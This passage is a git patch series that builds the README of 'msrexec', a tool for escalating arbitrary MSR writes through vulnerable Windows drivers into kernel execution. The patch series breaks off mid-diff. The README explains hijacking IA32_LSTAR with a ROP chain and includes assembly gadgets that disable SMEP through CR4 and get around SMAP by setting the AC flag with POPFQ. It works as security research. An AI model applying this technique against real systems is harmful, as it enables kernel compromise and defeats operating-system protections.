From 043623fb6d6ad0f45f2d453eec5a5f3d93923c1e Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 20:37:03 +0000 Subject: [PATCH 01/27] Add LICENSE --- LICENSE | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 LICENSE diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..1b26028 --- /dev/null +++ b/LICENSE @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2021, _xeroxz +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. From d2156462aba0172fb34cc9ffe91494c1ec4108f5 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 20:42:34 +0000 Subject: [PATCH 02/27] Add README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 README.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..d2150e3 --- /dev/null +++ b/README.md @@ -0,0 +1,4 @@ +# msrexec + +msrexec is a small project that can be used to elevate arbitrary MSR writes to kernel execution on 64 bit Windows-10 systems. This project is part of the VDM (vulnerable driver manipulation) namespace +and can be integrated into any prior VDM projects. Although this project falls under the VDM namespace, Voyager and bluepill can be used to provide arbitrary wrmsr writes. \ No newline at end of file From a6f9f9cb9234c4926d57de97b5b7481b004ebada Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 20:43:45 +0000 Subject: [PATCH 03/27] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index d2150e3..68ae2a9 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ + + # msrexec msrexec is a small project that can be used to elevate arbitrary MSR writes to kernel execution on 64 bit Windows-10 systems. This project is part of the VDM (vulnerable driver manipulation) namespace From 2a2106f3720c2a8bf7764a1390ac4c39cd2cb251 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 20:45:31 +0000 Subject: [PATCH 04/27] Update README.md --- README.md | 38 +++++++++++++++++++++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 68ae2a9..e13dbba 100644 --- a/README.md +++ b/README.md @@ -3,4 +3,40 @@ # msrexec msrexec is a small project that can be used to elevate arbitrary MSR writes to kernel execution on 64 bit Windows-10 systems. This project is part of the VDM (vulnerable driver manipulation) namespace -and can be integrated into any prior VDM projects. Although this project falls under the VDM namespace, Voyager and bluepill can be used to provide arbitrary wrmsr writes. \ No newline at end of file +and can be integrated into any prior VDM projects. Although this project falls under the VDM namespace, Voyager and bluepill can be used to provide arbitrary wrmsr writes. + +# Lisence + +TL;DR: if you use this project, rehost it, put it on github, include `_xeroxz` in your release. + +``` +BSD 3-Clause License + +Copyright (c) 2021, _xeroxz +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +``` \ No newline at end of file From 96f2df3da8d94e1469d78c31b026a086d41427cd Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 20:50:36 +0000 Subject: [PATCH 05/27] Update README.md --- README.md | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/README.md b/README.md index e13dbba..40adfd4 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,16 @@ msrexec is a small project that can be used to elevate arbitrary MSR writes to kernel execution on 64 bit Windows-10 systems. This project is part of the VDM (vulnerable driver manipulation) namespace and can be integrated into any prior VDM projects. Although this project falls under the VDM namespace, Voyager and bluepill can be used to provide arbitrary wrmsr writes. +### syscall + +SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.) + +SYSCALL also saves RFLAGS into R11 and then masks RFLAGS using the IA32_FMASK MSR (MSR address C0000084H); specifically, the processor clears in RFLAGS every bit corresponding to a bit that is set in the IA32_FMASK MSR. + +SYSCALL loads the CS and SS selectors with values derived from bits 47:32 of the IA32_STAR MSR. However, the CS and SS descriptor caches are not loaded from the descriptors (in GDT or LDT) referenced by those selectors. Instead, the descriptor caches are loaded with fixed values. See the Operation section for details. It is the responsibility of OS software to ensure that the descriptors (in GDT or LDT) referenced by those selector values correspond to the fixed values loaded into the descriptor caches; the SYSCALL instruction does not ensure this correspondence. + +The SYSCALL instruction does not save the stack pointer (RSP). If the OS system-call handler will change the stack pointer, it is the responsibility of software to save the previous value of the stack pointer. This might be done prior to executing SYSCALL, with software restoring the stack pointer with the instruction following SYSCALL (which will be executed after SYSRET). Alternatively, the OS system-call handler may save the stack pointer and restore it before executing SYSRET. + # Lisence TL;DR: if you use this project, rehost it, put it on github, include `_xeroxz` in your release. From e50e70a00d7b62f5db1e93830ae696f5bbd8e5b1 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 20:51:29 +0000 Subject: [PATCH 06/27] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 40adfd4..1631616 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ msrexec is a small project that can be used to elevate arbitrary MSR writes to kernel execution on 64 bit Windows-10 systems. This project is part of the VDM (vulnerable driver manipulation) namespace and can be integrated into any prior VDM projects. Although this project falls under the VDM namespace, Voyager and bluepill can be used to provide arbitrary wrmsr writes. -### syscall +# syscall SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.) From f18819b432eb8ab09ea44e9e7cc52f492feffaae Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 20:52:21 +0000 Subject: [PATCH 07/27] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 1631616..1460ef6 100644 --- a/README.md +++ b/README.md @@ -7,13 +7,13 @@ and can be integrated into any prior VDM projects. Although this project falls u # syscall -SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.) +SYSCALL invokes an OS system-call handler at privilege level 0. It does so by ***loading RIP from the IA32_LSTAR MSR*** (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.) SYSCALL also saves RFLAGS into R11 and then masks RFLAGS using the IA32_FMASK MSR (MSR address C0000084H); specifically, the processor clears in RFLAGS every bit corresponding to a bit that is set in the IA32_FMASK MSR. SYSCALL loads the CS and SS selectors with values derived from bits 47:32 of the IA32_STAR MSR. However, the CS and SS descriptor caches are not loaded from the descriptors (in GDT or LDT) referenced by those selectors. Instead, the descriptor caches are loaded with fixed values. See the Operation section for details. It is the responsibility of OS software to ensure that the descriptors (in GDT or LDT) referenced by those selector values correspond to the fixed values loaded into the descriptor caches; the SYSCALL instruction does not ensure this correspondence. -The SYSCALL instruction does not save the stack pointer (RSP). If the OS system-call handler will change the stack pointer, it is the responsibility of software to save the previous value of the stack pointer. This might be done prior to executing SYSCALL, with software restoring the stack pointer with the instruction following SYSCALL (which will be executed after SYSRET). Alternatively, the OS system-call handler may save the stack pointer and restore it before executing SYSRET. +***The SYSCALL instruction does not save the stack pointer (RSP).*** If the OS system-call handler will change the stack pointer, it is the responsibility of software to save the previous value of the stack pointer. This might be done prior to executing SYSCALL, with software restoring the stack pointer with the instruction following SYSCALL (which will be executed after SYSRET). Alternatively, the OS system-call handler may save the stack pointer and restore it before executing SYSRET. # Lisence From f1adcbfd3bba0afe108ba4c95fa68fdb23479dc5 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 21:02:30 +0000 Subject: [PATCH 08/27] Update README.md --- README.md | 31 ++++++++++++++++++++++++++++++- 1 file changed, 30 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 1460ef6..707180e 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ -# msrexec +# msrexec - elevate arbitrary wrmsr to kernel execution msrexec is a small project that can be used to elevate arbitrary MSR writes to kernel execution on 64 bit Windows-10 systems. This project is part of the VDM (vulnerable driver manipulation) namespace and can be integrated into any prior VDM projects. Although this project falls under the VDM namespace, Voyager and bluepill can be used to provide arbitrary wrmsr writes. @@ -15,6 +15,35 @@ SYSCALL loads the CS and SS selectors with values derived from bits 47:32 of the ***The SYSCALL instruction does not save the stack pointer (RSP).*** If the OS system-call handler will change the stack pointer, it is the responsibility of software to save the previous value of the stack pointer. This might be done prior to executing SYSCALL, with software restoring the stack pointer with the instruction following SYSCALL (which will be executed after SYSRET). Alternatively, the OS system-call handler may save the stack pointer and restore it before executing SYSRET. +# ROP - Return-oriented programming + +ROP or return-oriented programming, is a technique where an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine's memory, called "gadgets". Note: ***"The SYSCALL instruction does not save the stack pointer (RSP)"***. This allows for an attacker to setup the stack with addresses of ROP gadgets are specific values. In this situation SMEP and SMAP are two cpu protections which prevent an attacker from setting IA32_LSTAR to a user controlled page. + +### SMEP - Supervisor Mode Execution Protection + +SMEP or Supervisor Mode Execution Protection, prevents a logical processor with a lower CPL from executing code mapped into virtual memory with super supervisor bit set. This is relevant to this project as one could not simply set LSTAR to a user controlled page. However, with ROP one could disable SMEP by executing the following gadgets: + +``` +pop rcx +ret +``` + +``` +mov cr4, rcx +ret +``` + +However, when the syscall instruction is executed, the address of the next instruction (the one after the syscall instruction) is placed into RCX. In order to preserve RIP, it should be placed onto the stack before any addresses of gadgets are placed onto the stack. + +``` +lea rax, finish +push rax +``` + +changing IA32_LSTAR to a ROP chain as described above will work just fine on CPU's that done support SMAP. Windows 10 will use SMAP if your CPU supports it. This means RSP is unaccessable since it is a user controlled page. + +### SMAP - Supervisor Mode Access Prevention + # Lisence TL;DR: if you use this project, rehost it, put it on github, include `_xeroxz` in your release. From e09d7f0b27b5acacccf956515e6ff91d4dd7647f Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 21:34:02 +0000 Subject: [PATCH 09/27] Update README.md --- README.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 707180e..357280a 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,11 @@ -# msrexec - elevate arbitrary wrmsr to kernel execution +# MsrExec - Elevate Arbitrary WRMSR To Kernel Execution msrexec is a small project that can be used to elevate arbitrary MSR writes to kernel execution on 64 bit Windows-10 systems. This project is part of the VDM (vulnerable driver manipulation) namespace and can be integrated into any prior VDM projects. Although this project falls under the VDM namespace, Voyager and bluepill can be used to provide arbitrary wrmsr writes. -# syscall +# Syscall - Fast System Call SYSCALL invokes an OS system-call handler at privilege level 0. It does so by ***loading RIP from the IA32_LSTAR MSR*** (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.) @@ -15,7 +15,7 @@ SYSCALL loads the CS and SS selectors with values derived from bits 47:32 of the ***The SYSCALL instruction does not save the stack pointer (RSP).*** If the OS system-call handler will change the stack pointer, it is the responsibility of software to save the previous value of the stack pointer. This might be done prior to executing SYSCALL, with software restoring the stack pointer with the instruction following SYSCALL (which will be executed after SYSRET). Alternatively, the OS system-call handler may save the stack pointer and restore it before executing SYSRET. -# ROP - Return-oriented programming +# ROP - Return-Oriented Programming ROP or return-oriented programming, is a technique where an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine's memory, called "gadgets". Note: ***"The SYSCALL instruction does not save the stack pointer (RSP)"***. This allows for an attacker to setup the stack with addresses of ROP gadgets are specific values. In this situation SMEP and SMAP are two cpu protections which prevent an attacker from setting IA32_LSTAR to a user controlled page. @@ -23,19 +23,19 @@ ROP or return-oriented programming, is a technique where an attacker gains contr SMEP or Supervisor Mode Execution Protection, prevents a logical processor with a lower CPL from executing code mapped into virtual memory with super supervisor bit set. This is relevant to this project as one could not simply set LSTAR to a user controlled page. However, with ROP one could disable SMEP by executing the following gadgets: -``` +```asm pop rcx ret ``` -``` +```asm mov cr4, rcx ret ``` However, when the syscall instruction is executed, the address of the next instruction (the one after the syscall instruction) is placed into RCX. In order to preserve RIP, it should be placed onto the stack before any addresses of gadgets are placed onto the stack. -``` +```asm lea rax, finish push rax ``` From 4847957ed58ec176917a352196f17200b29bef9d Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 21:34:24 +0000 Subject: [PATCH 10/27] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 357280a..f93cd15 100644 --- a/README.md +++ b/README.md @@ -23,12 +23,12 @@ ROP or return-oriented programming, is a technique where an attacker gains contr SMEP or Supervisor Mode Execution Protection, prevents a logical processor with a lower CPL from executing code mapped into virtual memory with super supervisor bit set. This is relevant to this project as one could not simply set LSTAR to a user controlled page. However, with ROP one could disable SMEP by executing the following gadgets: -```asm +```nasm pop rcx ret ``` -```asm +```nasm mov cr4, rcx ret ``` From 0dbc223aab7f3eb601fb60e57f2abd65f73b7865 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 21:44:09 +0000 Subject: [PATCH 11/27] Update README.md --- README.md | 26 +++++++++++++++++++++++++- 1 file changed, 25 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index f93cd15..a0c38b9 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ ret However, when the syscall instruction is executed, the address of the next instruction (the one after the syscall instruction) is placed into RCX. In order to preserve RIP, it should be placed onto the stack before any addresses of gadgets are placed onto the stack. -```asm +```nasm lea rax, finish push rax ``` @@ -44,6 +44,30 @@ changing IA32_LSTAR to a ROP chain as described above will work just fine on CPU ### SMAP - Supervisor Mode Access Prevention +SMAP or Supervisor Mode Access Prevention is a CPU protection which prevents accessing data controlled by a higher CPL. In other words, if SMAP is set in CR4, a logical +processor executing kernel code cannot access usermode controlled pages (user supervisor). + +This is an issue with ROP as RSP after a syscall contains a usermode address. Interfacing with this usermode stack in any way will cause a fault. However, you can essentially disable SMAP from usermode. There is a bit in the RFLAGS register which can be set to nullify SMAP. The instruction to set this bit is called `STAC` (Set AC Flag in EFLAGS Register). However this instruction is privilaged and will throw a #UD. However as @drew pointed out, you can `POPFQ` an RFLAGS value with that bit set and the CPU will not throw any exceptions. I assumed that since `STAC` cannot be used in usermode, that `POPFQ` would also throw an exception, however this is not the case... Again thank you @drew, without this key information the project would have been a complete mess as there are no useable `mov cr4, [non rax registers] ; ret` gadgets which exist across windows versions. + +```nasm +pushfq ; thank you drew :) +pop rax ; this will set the AC flag in RFLAGS which "disables SMAP"... +or rax, 040000h ; +push rax ; +popfq ; +``` + +RFLAGS is restored after the syscall instruction. The original RFLAGS value is pushed onto the stack prior to all of the gadgets and other values. + +```nasm +syscall ; LSTAR points at a pop rcx gadget... + ; it will put m_smep_off into rcx... +finish: +popfq ; restore EFLAGS... +pop r10 ; restore r10... +ret +``` + # Lisence TL;DR: if you use this project, rehost it, put it on github, include `_xeroxz` in your release. From 2b2d77366d97cd16f5abcc3e5d9033aa19ff8c2c Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 21:44:43 +0000 Subject: [PATCH 12/27] Update README.md --- README.md | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index a0c38b9..48538cd 100644 --- a/README.md +++ b/README.md @@ -50,21 +50,21 @@ processor executing kernel code cannot access usermode controlled pages (user su This is an issue with ROP as RSP after a syscall contains a usermode address. Interfacing with this usermode stack in any way will cause a fault. However, you can essentially disable SMAP from usermode. There is a bit in the RFLAGS register which can be set to nullify SMAP. The instruction to set this bit is called `STAC` (Set AC Flag in EFLAGS Register). However this instruction is privilaged and will throw a #UD. However as @drew pointed out, you can `POPFQ` an RFLAGS value with that bit set and the CPU will not throw any exceptions. I assumed that since `STAC` cannot be used in usermode, that `POPFQ` would also throw an exception, however this is not the case... Again thank you @drew, without this key information the project would have been a complete mess as there are no useable `mov cr4, [non rax registers] ; ret` gadgets which exist across windows versions. ```nasm -pushfq ; thank you drew :) -pop rax ; this will set the AC flag in RFLAGS which "disables SMAP"... -or rax, 040000h ; -push rax ; -popfq ; +pushfq ; thank you drew :) +pop rax ; this will set the AC flag in RFLAGS which "disables SMAP"... +or rax, 040000h ; +push rax ; +popfq ; ``` RFLAGS is restored after the syscall instruction. The original RFLAGS value is pushed onto the stack prior to all of the gadgets and other values. ```nasm -syscall ; LSTAR points at a pop rcx gadget... - ; it will put m_smep_off into rcx... +syscall ; LSTAR points at a pop rcx gadget... + ; it will put m_smep_off into rcx... finish: -popfq ; restore EFLAGS... -pop r10 ; restore r10... +popfq ; restore EFLAGS... +pop r10 ; restore r10... ret ``` From f9a6fc93abe75f49cc368b64d27409ded4289790 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 21:45:53 +0000 Subject: [PATCH 13/27] Update README.md --- README.md | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 48538cd..b8c6abb 100644 --- a/README.md +++ b/README.md @@ -50,21 +50,21 @@ processor executing kernel code cannot access usermode controlled pages (user su This is an issue with ROP as RSP after a syscall contains a usermode address. Interfacing with this usermode stack in any way will cause a fault. However, you can essentially disable SMAP from usermode. There is a bit in the RFLAGS register which can be set to nullify SMAP. The instruction to set this bit is called `STAC` (Set AC Flag in EFLAGS Register). However this instruction is privilaged and will throw a #UD. However as @drew pointed out, you can `POPFQ` an RFLAGS value with that bit set and the CPU will not throw any exceptions. I assumed that since `STAC` cannot be used in usermode, that `POPFQ` would also throw an exception, however this is not the case... Again thank you @drew, without this key information the project would have been a complete mess as there are no useable `mov cr4, [non rax registers] ; ret` gadgets which exist across windows versions. ```nasm -pushfq ; thank you drew :) -pop rax ; this will set the AC flag in RFLAGS which "disables SMAP"... -or rax, 040000h ; -push rax ; -popfq ; +pushfq ; thank you drew :) +pop rax ; this will set the AC flag in RFLAGS which "disables SMAP"... +or rax, 040000h ; +push rax ; +popfq ; ``` RFLAGS is restored after the syscall instruction. The original RFLAGS value is pushed onto the stack prior to all of the gadgets and other values. ```nasm -syscall ; LSTAR points at a pop rcx gadget... - ; it will put m_smep_off into rcx... +syscall ; LSTAR points at a pop rcx gadget... + ; it will put m_smep_off into rcx... finish: -popfq ; restore EFLAGS... -pop r10 ; restore r10... +popfq ; restore EFLAGS... +pop r10 ; restore r10... ret ``` From 74d37564603a4f18c2640d3fcec94cdc95d53fc2 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 21:46:27 +0000 Subject: [PATCH 14/27] Update README.md --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index b8c6abb..3b52748 100644 --- a/README.md +++ b/README.md @@ -50,8 +50,8 @@ processor executing kernel code cannot access usermode controlled pages (user su This is an issue with ROP as RSP after a syscall contains a usermode address. Interfacing with this usermode stack in any way will cause a fault. However, you can essentially disable SMAP from usermode. There is a bit in the RFLAGS register which can be set to nullify SMAP. The instruction to set this bit is called `STAC` (Set AC Flag in EFLAGS Register). However this instruction is privilaged and will throw a #UD. However as @drew pointed out, you can `POPFQ` an RFLAGS value with that bit set and the CPU will not throw any exceptions. I assumed that since `STAC` cannot be used in usermode, that `POPFQ` would also throw an exception, however this is not the case... Again thank you @drew, without this key information the project would have been a complete mess as there are no useable `mov cr4, [non rax registers] ; ret` gadgets which exist across windows versions. ```nasm -pushfq ; thank you drew :) -pop rax ; this will set the AC flag in RFLAGS which "disables SMAP"... +pushfq ; thank you drew :) +pop rax ; this will set the AC flag in RFLAGS which "disables SMAP"... or rax, 040000h ; push rax ; popfq ; @@ -60,11 +60,11 @@ popfq ; RFLAGS is restored after the syscall instruction. The original RFLAGS value is pushed onto the stack prior to all of the gadgets and other values. ```nasm -syscall ; LSTAR points at a pop rcx gadget... +syscall ; LSTAR points at a pop rcx gadget... ; it will put m_smep_off into rcx... finish: -popfq ; restore EFLAGS... -pop r10 ; restore r10... +popfq ; restore EFLAGS... +pop r10 ; restore r10... ret ``` From 2c1dd5c7cf2c2381cd1d18e1038aac54ac5df062 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 21:57:05 +0000 Subject: [PATCH 15/27] Update README.md --- README.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 3b52748..0791fc6 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,9 @@ +# Credit - Special Thanks + +* [@drew](https://twitter.com/drewbervisor) - pointing out AC bit in RFLAGS can be set in usermode. I originally assumed since the `STAC` instruction could not be executed in usermode that `POPFQ` would throw an exception if AC bit was high and CPL was greater then zero. Without this key information the project would have been a complete mess. Thank you! +* [@0xnemi](https://twitter.com/0xnemi) / [@everdox](https://twitter.com/nickeverdox) - [mov ss/pop ss exploit](https://www.youtube.com/watch?v=iU_No7gdcwc) 0xnemi's use of syscall and the fact that RSP is not changed + use of ROP made me think about how there are alot of vulnerable drivers that expose arbitrary wrmsr which could be used to change LSTAR... +* + # MsrExec - Elevate Arbitrary WRMSR To Kernel Execution @@ -47,7 +53,7 @@ changing IA32_LSTAR to a ROP chain as described above will work just fine on CPU SMAP or Supervisor Mode Access Prevention is a CPU protection which prevents accessing data controlled by a higher CPL. In other words, if SMAP is set in CR4, a logical processor executing kernel code cannot access usermode controlled pages (user supervisor). -This is an issue with ROP as RSP after a syscall contains a usermode address. Interfacing with this usermode stack in any way will cause a fault. However, you can essentially disable SMAP from usermode. There is a bit in the RFLAGS register which can be set to nullify SMAP. The instruction to set this bit is called `STAC` (Set AC Flag in EFLAGS Register). However this instruction is privilaged and will throw a #UD. However as @drew pointed out, you can `POPFQ` an RFLAGS value with that bit set and the CPU will not throw any exceptions. I assumed that since `STAC` cannot be used in usermode, that `POPFQ` would also throw an exception, however this is not the case... Again thank you @drew, without this key information the project would have been a complete mess as there are no useable `mov cr4, [non rax registers] ; ret` gadgets which exist across windows versions. +This is an issue with ROP as RSP after a syscall contains a usermode address. Interfacing with this usermode stack in any way will cause a fault. However, you can essentially disable SMAP from usermode. There is a bit in the RFLAGS register which can be set to nullify SMAP. The instruction to set this bit is called `STAC` (Set AC Flag in EFLAGS Register). However this instruction is privilaged and will throw a #UD. However as [@drew](https://twitter.com/drewbervisor) pointed out, you can `POPFQ` an RFLAGS value with that bit set and the CPU will not throw any exceptions. I assumed that since `STAC` cannot be used in usermode, that `POPFQ` would also throw an exception, however this is not the case... Again thank you [@drew](https://twitter.com/drewbervisor), without this key information the project would have been a complete mess as there are no useable `mov cr4, [non rax registers] ; ret` gadgets which exist across windows versions. ```nasm pushfq ; thank you drew :) From 8ff3414ba10449786c7df67b2d70b8e33e6c1ce0 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 22:02:30 +0000 Subject: [PATCH 16/27] Update README.md --- README.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 0791fc6..4e1dc24 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,12 @@ # Credit - Special Thanks * [@drew](https://twitter.com/drewbervisor) - pointing out AC bit in RFLAGS can be set in usermode. I originally assumed since the `STAC` instruction could not be executed in usermode that `POPFQ` would throw an exception if AC bit was high and CPL was greater then zero. Without this key information the project would have been a complete mess. Thank you! -* [@0xnemi](https://twitter.com/0xnemi) / [@everdox](https://twitter.com/nickeverdox) - [mov ss/pop ss exploit](https://www.youtube.com/watch?v=iU_No7gdcwc) 0xnemi's use of syscall and the fact that RSP is not changed + use of ROP made me think about how there are alot of vulnerable drivers that expose arbitrary wrmsr which could be used to change LSTAR... -* + +* [@0xnemi](https://twitter.com/0xnemi) / [@everdox](https://twitter.com/nickeverdox) - [mov ss/pop ss exploit](https://www.youtube.com/watch?v=iU_No7gdcwc) 0xnemi's use of syscall and the fact that RSP is not changed + use of ROP made me think about how there are alot of vulnerable drivers that expose arbitrary wrmsr which could be used to change LSTAR and effectivlly replicate his solution... + +* [@Ch3rn0byl](https://twitter.com/notCh3rn0byl) - donation of a few vulnerable drivers which exposed arbitrary WRMSR/helped test with KVA shadowing enabled/disabled. + +* [@namazso](https://twitter.com/namazso) - originally hinting at this project many months ago. its finally done :) From 1d579e9278fb04d679de1730528fb11119db9efa Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 22:02:50 +0000 Subject: [PATCH 17/27] Update README.md --- README.md | 3 --- 1 file changed, 3 deletions(-) diff --git a/README.md b/README.md index 4e1dc24..60ba657 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,8 @@ # Credit - Special Thanks * [@drew](https://twitter.com/drewbervisor) - pointing out AC bit in RFLAGS can be set in usermode. I originally assumed since the `STAC` instruction could not be executed in usermode that `POPFQ` would throw an exception if AC bit was high and CPL was greater then zero. Without this key information the project would have been a complete mess. Thank you! - * [@0xnemi](https://twitter.com/0xnemi) / [@everdox](https://twitter.com/nickeverdox) - [mov ss/pop ss exploit](https://www.youtube.com/watch?v=iU_No7gdcwc) 0xnemi's use of syscall and the fact that RSP is not changed + use of ROP made me think about how there are alot of vulnerable drivers that expose arbitrary wrmsr which could be used to change LSTAR and effectivlly replicate his solution... - * [@Ch3rn0byl](https://twitter.com/notCh3rn0byl) - donation of a few vulnerable drivers which exposed arbitrary WRMSR/helped test with KVA shadowing enabled/disabled. - * [@namazso](https://twitter.com/namazso) - originally hinting at this project many months ago. its finally done :) From 36c9e89af5cdafc62341a705c0a8f3fe521ad979 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 22:03:20 +0000 Subject: [PATCH 18/27] Update README.md --- README.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 60ba657..0bcdaaa 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,3 @@ -# Credit - Special Thanks - -* [@drew](https://twitter.com/drewbervisor) - pointing out AC bit in RFLAGS can be set in usermode. I originally assumed since the `STAC` instruction could not be executed in usermode that `POPFQ` would throw an exception if AC bit was high and CPL was greater then zero. Without this key information the project would have been a complete mess. Thank you! -* [@0xnemi](https://twitter.com/0xnemi) / [@everdox](https://twitter.com/nickeverdox) - [mov ss/pop ss exploit](https://www.youtube.com/watch?v=iU_No7gdcwc) 0xnemi's use of syscall and the fact that RSP is not changed + use of ROP made me think about how there are alot of vulnerable drivers that expose arbitrary wrmsr which could be used to change LSTAR and effectivlly replicate his solution... -* [@Ch3rn0byl](https://twitter.com/notCh3rn0byl) - donation of a few vulnerable 